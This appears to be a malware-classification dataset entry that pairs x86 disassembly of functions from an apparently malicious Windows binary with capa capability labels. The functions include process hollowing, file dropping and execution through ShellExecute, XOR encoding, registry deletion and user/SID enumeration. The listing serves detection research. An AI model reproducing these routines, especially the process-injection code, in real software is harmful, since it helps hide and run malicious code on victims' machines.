joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406987
Capabilities:
Enumerate pe sections
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov eax, dword [edi + 0x3c]
add eax, edi
movzx esi, word [eax + 6]
movzx ecx, word [eax + 0x14]
dec esi
imul esi, esi, 0x28
lea ecx, [ecx + eax + 0x18]
mov eax, dword [ebp + 0x14]
add esi, ecx
mov ebx, dword [esi + 0x14]
sub eax, ebx
mov dword [ebp - 4], eax
cmp ebx, dword [ebp + 0x10]
jae 0x4069e0
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x4069e0
xor edx, edx
div ecx
mov dword [ebp - 8], ecx
mov dword [ebp + 0x14], eax
xor eax, eax
inc eax
cmp dword [ebp + 0x14], eax
jge 0x4069d5
mov dword [ebp + 0x14], eax
mov eax, dword [ebp + 0x14]
imul eax, ecx
mov dword [esi + 0x10], eax
jmp 0x4069e4
and dword [ebp + 0x14], 0
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push ebx
push edi
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
call edi
test eax, eax
je 0x406a4d
cmp dword [ebp - 4], ebx
jne 0x406a4d
cmp dword [ebp + 0x14], 0
je 0x406a3c
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x14]
push dword [ebp - 8]
add eax, dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call edi
test eax, eax
mov eax, dword [ebp - 4]
je 0x406a40
cmp eax, dword [ebp - 8]
jne 0x406a40
add ebx, eax
dec dword [ebp + 0x14]
jne 0x406a10
mov eax, ebx
jmp 0x406a5b
add ebx, eax
cmp ebx, dword [ebp + 0x10]
sbb eax, eax
not eax
and eax, ebx
jmp 0x406a5b
cmp dword [ebp + 0x14], 0
je 0x406a59
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406a60
Capabilities:
Delete file
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x406b8c
mov al, byte [esi]
mov byte [ebp - 4], al
mov al, byte [esi + 1]
mov byte [ebp - 3], al
mov al, byte [esi + 2]
push edi
mov edi, dword [ebp + 0x10]
mov byte [ebp - 2], al
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0x406b1d
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x14]
push ebx
push dword [ebp - 0xc]
push ebx
push eax
call fcn.0040eb0e
add esp, 0x10
cmp edx, ebx
jl 0x406b1d
jg 0x406ae7
cmp eax, 0x6400000
jbe 0x406afd
call fcn.0040eca5
xor edx, edx
mov ecx, 0x500000
div ecx
lea edi, [edx + 0xa00000]
jmp 0x406b1d
cmp edx, ebx
jl 0x406b1d
jg 0x406b0a
cmp eax, 0x3200000
jbe 0x406b1d
call fcn.0040eca5
mov edi, eax
and edi, 0x1fffff
add edi, 0x300000
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call fcn.00406987
add esp, 0x10
mov dword [ebp - 0x18], eax
cmp eax, ebx
jne 0x406b56
mov dword [0x412180], 0x5e040102
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
mov dword [0x41217c], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406b7f
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
test eax, eax
jne 0x406b86
mov dword [0x412180], 0x5e040103
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
mov dword [0x41217c], eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x18]
pop edi
jmp 0x406ba3
mov dword [0x412180], 0x5e040101
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41217c], eax
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x406ba7
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push dword [0x4130ac]
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
test eax, eax
je 0x406bc0
xor eax, eax
leave
ret
push esi
lea eax, [ebp - 4]
push eax
xor esi, esi
push esi
call dword [0x4130ac]
pop ecx
pop ecx
test eax, eax
je 0x406bdb
xor eax, eax
jmp 0x406c6c
push ebx
push dword [ebp - 4]
call fcn.0040ebcc
mov ebx, eax
pop ecx
cmp ebx, esi
je 0x406c03
lea eax, [ebp - 4]
push eax
push ebx
call dword [0x4130ac]
pop ecx
pop ecx
test eax, eax
je 0x406c07
push ebx
call fcn.0040ec2e
pop ecx
xor eax, eax
jmp 0x406c6b
push edi
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x406c34
push ebx
call fcn.0040ec2e
xor eax, eax
jmp 0x406c69
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x406c5a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x406c2a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.0040ec2e
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x406c6f
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
push edi
push 7
xor ecx, ecx
mov eax, edx
pop esi
mov edi, edx
and edi, 0xf
xor ecx, edi
shr edx, 4
dec esi
jne 0x406c7c
and eax, 0xfffffff
shl ecx, 0x1c
pop edi
or eax, ecx
pop esi
ret

Function at 0x406c96
Capabilities:
Encode data using xor

Disassembly:
push 8
xor eax, eax
pop ecx
mov edx, dword [esp + 4]
shr dword [esp + 4], 4
and edx, 0xf
xor eax, edx
dec ecx
jne 0x406c9b
ret

Function at 0x406cc9
Capabilities:
Get common file path

Disassembly:
cmp byte [0x412e08], 0
push edi
mov edi, 0x412e08
jne 0x406dbe
push esi
push str.GetSystemWow64DirectoryA
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
test eax, eax
je 0x406d12
push esi
push edi
call eax
test eax, eax
je 0x406d12
cmp byte [0x412e08], 0
jne 0x406d99
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x406d27
cmp byte [0x412e08], 0
jne 0x406d99
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, 0xe4
mov esi, 0x4122f8
lea ebp, [ebx + 0x1c]
test eax, eax
je 0x406d4b
cmp byte [0x412e08], 0
jne 0x406d71
push 0xc8
push ebx
push 0xb
push 0x410664
push esi
call fcn.00402544
push eax
push edi
call fcn.0040ef00
push ebp
push 0
push esi
call fcn.0040ee2a
add esp, 0x28
push 0xc8
push ebx
push 0xb
push 0x410658
push esi
call fcn.00402544
push eax
push edi
call fcn.0040ef1e
push ebp
push 0
push esi
call fcn.0040ee2a
add esp, 0x28
pop ebp
pop ebx
mov eax, edi
lea ecx, [eax + 1]
pop esi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x406d9f
sub eax, ecx
cmp byte [eax + 0x412e07], 0x5c
je 0x406dbe
mov byte [eax + 0x412e08], 0x5c
mov byte [eax + 0x412e09], dl
mov eax, edi
pop edi
ret
Function at 0x406dc2
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x412f0c]
sub esp, 0x104
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x406e33
call fcn.00406cc9
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.0040ef00
pop ecx
lea eax, [ebp - 0x104]
pop ecx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406df4
sub eax, edx
cmp eax, 3
jb 0x406e24
push ebx
push ebx
push ebx
push ebx
push 0x412f0c
push ebx
push ebx
lea eax, [ebp - 0x104]
push eax
mov byte [ebp - 0x101], bl
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x406e2e
mov dword [0x412f0c], 0x5e5e5e5e
mov eax, dword [0x412f0c]
pop ebx
leave
ret

Function at 0x406e36
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x358]
push eax
or esi, 0xffffffff
mov dword [ebp - 4], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x406ebe
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x358]
push eax
push 0
mov dword [ebp - 4], 0x7c
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x406ebe
cmp dword [ebp - 4], 0xc
jb 0x406ebb
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp + 8]
jne 0x406ebb
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x406eb7
cmp dword [ebp - 4], 0x1c
jb 0x406ebb
cmp dword [ebp - 0x38], eax
jne 0x406ebb
xor esi, esi
jmp 0x406ebe
xor esi, esi
inc esi
mov eax, esi
pop esi
leave
ret

Function at 0x406edd
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x412048]
sub esp, 0x10
push ebx
xor ebx, ebx
cmp eax, ebx
jge 0x406f5c
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], ebx
mov word [ebp - 0xc], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x406f44
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x406f3b
xor eax, eax
cmp dword [ebp - 4], ebx
sete al
mov dword [0x412048], eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [0x412048]
cmp eax, ebx
je 0x406f5c
push ebx
push 0x12
call fcn.00406e36
pop ecx
pop ecx
mov dword [0x412048], eax
pop ebx
leave
ret
Function at 0x406f5f
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push esi
mov byte [esi], 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x407047
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406f8d
sub eax, edx
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x50]
push eax
push esi
push 0
mov dword [ebp + 8], 0x7c
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0x407025
mov eax, dword [ebp + 0xc]
add eax, esi
push 0x410690
push eax
call fcn.0040ef00
inc dword [ebp + 0xc]
pop ecx
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x50]
push eax
call sub.ADVAPI32.dll_ConvertSidToStringSidA
test eax, eax
je 0x407025
mov eax, dword [ebp - 4]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x406ff7
sub eax, ecx
mov dword [ebp + 8], eax
inc eax
push eax
mov eax, dword [ebp + 0xc]
push dword [ebp - 4]
add eax, esi
push eax
call fcn.0040ee08
mov eax, dword [ebp + 8]
add dword [ebp + 0xc], eax
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.00406edd
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0x41068c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
add dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
jmp 0x407049
xor eax, eax
pop esi
leave
ret
Function at 0x4080c9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 4], ebx
mov dword [0x412c3c], ebx
mov dword [0x412c38], ebx
call fcn.00406ec3
test eax, eax
jne 0x4080f9
call fcn.00407ee6
jmp 0x408225
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x134]
push eax
push ebx
push ebx
push 0x410264
call fcn.0040704c
add esp, 0x14
test eax, eax
jle 0x408225
cmp byte [ebp - 0x134], bl
je 0x408225
cmp byte [ebp - 0x30], bl
je 0x408225
lea eax, [ebp - 8]
push eax
push 0x101
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0x4106ac
mov edi, 0x4122f8
push edi
call fcn.00402544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408216
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 8]
call esi
test eax, eax
jne 0x4081f7
cmp dword [ebp - 0xc], 1
jne 0x4081f7
cmp dword [ebp - 4], ebx
jbe 0x4081f7
push dword [ebp - 4]
call fcn.0040ebcc
pop ecx
mov dword [0x412c3c], eax
cmp eax, ebx
je 0x40820d
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 8]
call esi
test eax, eax
jne 0x4081f7
lea eax, [ebp - 0x134]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4081cd
sub eax, edx
inc eax
push eax
call fcn.0040ebcc
pop ecx
mov dword [0x412c38], eax
cmp eax, ebx
je 0x40820d
lea ecx, [ebp - 0x134]
push ecx
push eax
call fcn.0040ef00
pop ecx
jmp 0x40820c
mov eax, dword [0x412c3c]
cmp eax, ebx
je 0x40820d
push eax
call fcn.0040ec2e
mov dword [0x412c3c], ebx
pop ecx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push ebx
push edi
call fcn.0040ee2a
add esp, 0xc
cmp byte [0x4121a8], bl
je 0x40826c
cmp dword [0x4121a4], ebx
jne 0x40826c
push ebx
lea eax, [ebp - 0x10]
push eax
push 0x4121a8
call fcn.0040675c
mov edi, eax
add esp, 0xc
cmp edi, ebx
je 0x40826c
mov esi, dword [ebp - 0x10]
push ebx
push esi
push edi
call fcn.004024c2
push edi
mov dword [0x4122d4], eax
mov dword [0x4121a4], esi
call fcn.0040ec2e
add esp, 0x10
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret
Function at 0x408cee
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [0x413380], ebx
je 0x408dae
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x413388]
cmp eax, 0xea60
jb 0x408dae
push esi
push edi
mov edi, dword [0x413380]
movsx eax, byte [edi]
mov esi, dword [edi + 1]
add edi, 5
mov dword [ebp - 8], eax
test eax, eax
jle 0x408da1
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
mov cl, byte [eax]
cmp cl, 8
jne 0x408d4d
mov eax, esi
sar eax, cl
and eax, 1
push eax
call fcn.0040a677
jmp 0x408d5f
cmp cl, 9
jne 0x408d6c
mov eax, esi
sar eax, cl
and eax, 1
push eax
call fcn.0040a688
pop ecx
test eax, eax
je 0x408d7f
mov eax, dword [ebp - 4]
or esi, dword [eax + 1]
jmp 0x408d7f
movsx ecx, cl
mov eax, dword [ecx*4 + 0x413300]
test eax, eax
je 0x408d7f
cmp ecx, dword [eax + 0x34]
je 0x408d8b
add dword [ebp - 4], 5
inc ebx
cmp ebx, dword [ebp - 8]
jl 0x408d34
jmp 0x408da1
mov eax, dword [eax + 0x50]
test eax, eax
je 0x408da1
imul ebx, ebx, 5
mov cl, byte [ebx + edi]
sar esi, cl
and esi, 1
push esi
call eax
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
pop edi
mov dword [0x413388], eax
pop esi
pop ebx
leave
ret

Function at 0x408f53
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
lea edi, [esi + eax]
mov dl, 0xc6
cmp esi, edi
jae 0x408f84
push ebx
mov al, byte [esi]
movzx ecx, al
mov ebx, ecx
shr ebx, 3
shl cl, 5
or bl, cl
xor bl, dl
xor al, 0xc6
mov byte [esi], bl
inc esi
mov dl, al
cmp esi, edi
jb 0x408f67
pop ebx
pop edi
pop esi
ret

Function at 0x409064
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push esi
push edi
lea eax, [ebp - 0x404]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x404]
push eax
call fcn.00408274
pop ecx
call fcn.0040eca5
push 9
pop esi
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0040eca5
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0040eca5
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0040eca5
xor edx, edx
div esi
lea eax, [ebp - 0x404]
mov esi, 0x4122f8
push edx
push eax
push 0xc8
push 0xe4
push 0xf
push 0x410794
push esi
call fcn.00402544
add esp, 0x14
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
xor edi, edi
push edi
push esi
call fcn.0040ee2a
add esp, 0x28
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, edi
jbe 0x40913f
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x409141
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x409145
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
push esi
push edi
push 0x104
lea eax, [ebp - 0x104]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
push eax
push eax
call dword [sym.imp.USER32.dll_CharToOemA]
lea eax, [ebp - 0x104]
push eax
push eax
push 0xc8
push 0xe4
push 0x66
push 0x4107a8
mov esi, 0x4122f8
push esi
call fcn.00402544
add esp, 0x14
push eax
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
push edi
push esi
call fcn.0040ee2a
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x504]
push eax
call fcn.00409064
add esp, 0x24
test eax, eax
je 0x4091e7
push edi
push edi
push edi
lea eax, [ebp - 0x104]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
leave
ret

Function at 0x4091eb
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and dword [ebp - 8], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
cmp byte [edi], 0
mov dword [ebp - 4], 0x10
je 0x409308
push 0xd
push edi
call fcn.0040ed03
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
jne 0x40923f
push 0xa
push edi
call fcn.0040ed03
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
jne 0x40923f
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409233
sub eax, edx
lea ebx, [eax + edi]
mov esi, ebx
sub esi, edi
cmp esi, 0x200
jb 0x409250
mov esi, 0x1ff
push esi
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.0040ee08
add esp, 0xc
mov byte [ebp + esi - 0x208], 0
cmp byte [ebp - 0x208], 0
je 0x4092dd
cmp byte [ebp - 0x208], 0x20
lea eax, [ebp - 0x208]
jne 0x40929b
inc eax
cmp byte [eax], 0x20
je 0x409281
jmp 0x40929b
cmp cl, 0x22
je 0x40929a
inc eax
mov cl, byte [eax]
test cl, cl
jne 0x409289
cmp cl, 0x22
jne 0x4092a8
inc eax
cmp byte [eax], 0x22
je 0x40928e
jmp 0x4092a8
cmp byte [eax], 0x20
je 0x4092b2
inc eax
cmp byte [eax], 0
jne 0x4092a2
cmp byte [eax], 0x20
jne 0x4092bd
mov byte [eax], 0
inc eax
cmp byte [eax], 0x20
je 0x4092b5
jmp 0x4092bf
xor eax, eax
xor ecx, ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 8], eax
cmp eax, 0x2a
jne 0x409310
mov al, byte [ebx]
cmp al, 0xd
je 0x4092e7
cmp al, 0xa
jne 0x4092ea
inc ebx
jmp 0x4092dd
cmp byte [ebx], 0
mov edi, ebx
je 0x4092fc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 4]
cmp byte [ebx], 0
jne 0x40920e
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp - 4]
or ecx, 0x5e040100
mov dword [0x412180], ecx
mov dword [0x41217c], eax
jmp 0x40930b
Function at 0x4096ff
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x103
push 0
mov ebx, 0xc8
push ebx
lea edi, [ebx + 0x1c]
push edi
push 0x2e
push 0x4106ac
mov esi, 0x4122f8
push esi
call fcn.00402544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x409765
push ebx
push edi
push 9
push 0x4106a0
push esi
call fcn.00402544
add esp, 0x14
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push 0
push esi
call fcn.0040ee2a
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x40977c
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.0040ee2a
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x5c], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4097c2
xor eax, eax
jmp 0x409864
push 0x2cc
lea eax, [ebp - 0x328]
push esi
push eax
call fcn.0040ee2a
add esp, 0xc
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x328], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x409801
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4097bb
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push entry0
call fcn.0040637c
add esp, 0x10
push esi
test eax, eax
je 0x4097f6
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x284]
add eax, 8
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4097f5
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x278], eax
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x4097f5
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x40a4c7
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
call ebx
mov esi, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, eax
add esi, 0x5c
jmp 0x40a4f7
call ebx
sub eax, ebp
cmp eax, 0x1388
jae 0x40a500
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
call edi
test eax, eax
jne 0x40a4e4
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40a51d
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.0040a4c7
cmp dword [esi + 0x50], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
pop ecx
jne 0x40a542
mov dword [ebp + 8], 0x1f4
jmp 0x40a55d
call edi
sub eax, dword [esi + 0x50]
cmp eax, 1
jge 0x40a54f
xor eax, eax
inc eax
mov ecx, 0x1f4
cmp eax, ecx
jle 0x40a55a
mov eax, ecx
mov dword [ebp + 8], eax
call edi
mov ecx, dword [esi + 0x38]
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x40a574
mov dword [esi + 0x38], eax
jmp 0x40a61d
sub eax, ecx
imul eax, dword [ebp + 8]
cdq
mov edi, 0x3e8
idiv edi
push 0xa
pop edi
cdq
idiv edi
test eax, eax
je 0x40a590
add ecx, eax
jmp 0x40a59b
cmp dword [ebp + 0xc], ecx
je 0x40a59e
jge 0x40a59a
dec ecx
jmp 0x40a59b
inc ecx
mov dword [esi + 0x38], ecx
cmp dword [esi + 0x3c], 3
jle 0x40a61d
mov eax, dword [esi + 0x18]
mov ecx, eax
sub ecx, dword [esi + 0x38]
mov edi, ecx
jns 0x40a5b2
xor edi, edi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
cmp edi, eax
jle 0x40a61c
imul ecx, ecx, 0xa
mov eax, ecx
mov dword [ebp - 4], eax
imul eax, dword [ebp + 8]
cdq
mov ebx, 0x3e8
idiv ebx
mov ecx, dword [esi + 0x14]
mov edi, dword [esi + 0x10]
imul ecx, ecx, 0x2710
imul edi, edi, 0x2710
push ecx
push edi
cdq
idiv dword [esi + 0x28]
add eax, dword [esi + 0x1c]
push eax
call fcn.0040a505
mov ebx, eax
mov eax, dword [ebp - 4]
cdq
idiv dword [esi + 0x24]
push ecx
push edi
mov dword [esi + 0x1c], ebx
add eax, ebx
push eax
call fcn.0040a505
add esp, 0x18
cdq
push 0xa
pop ecx
idiv ecx
mov ecx, 0x3e8
cdq
idiv ecx
mov dword [esi + 0x34], eax
pop ebx
inc dword [esi + 0x3c]
and dword [esi + 0x5c], 0
pop edi
pop esi
leave
ret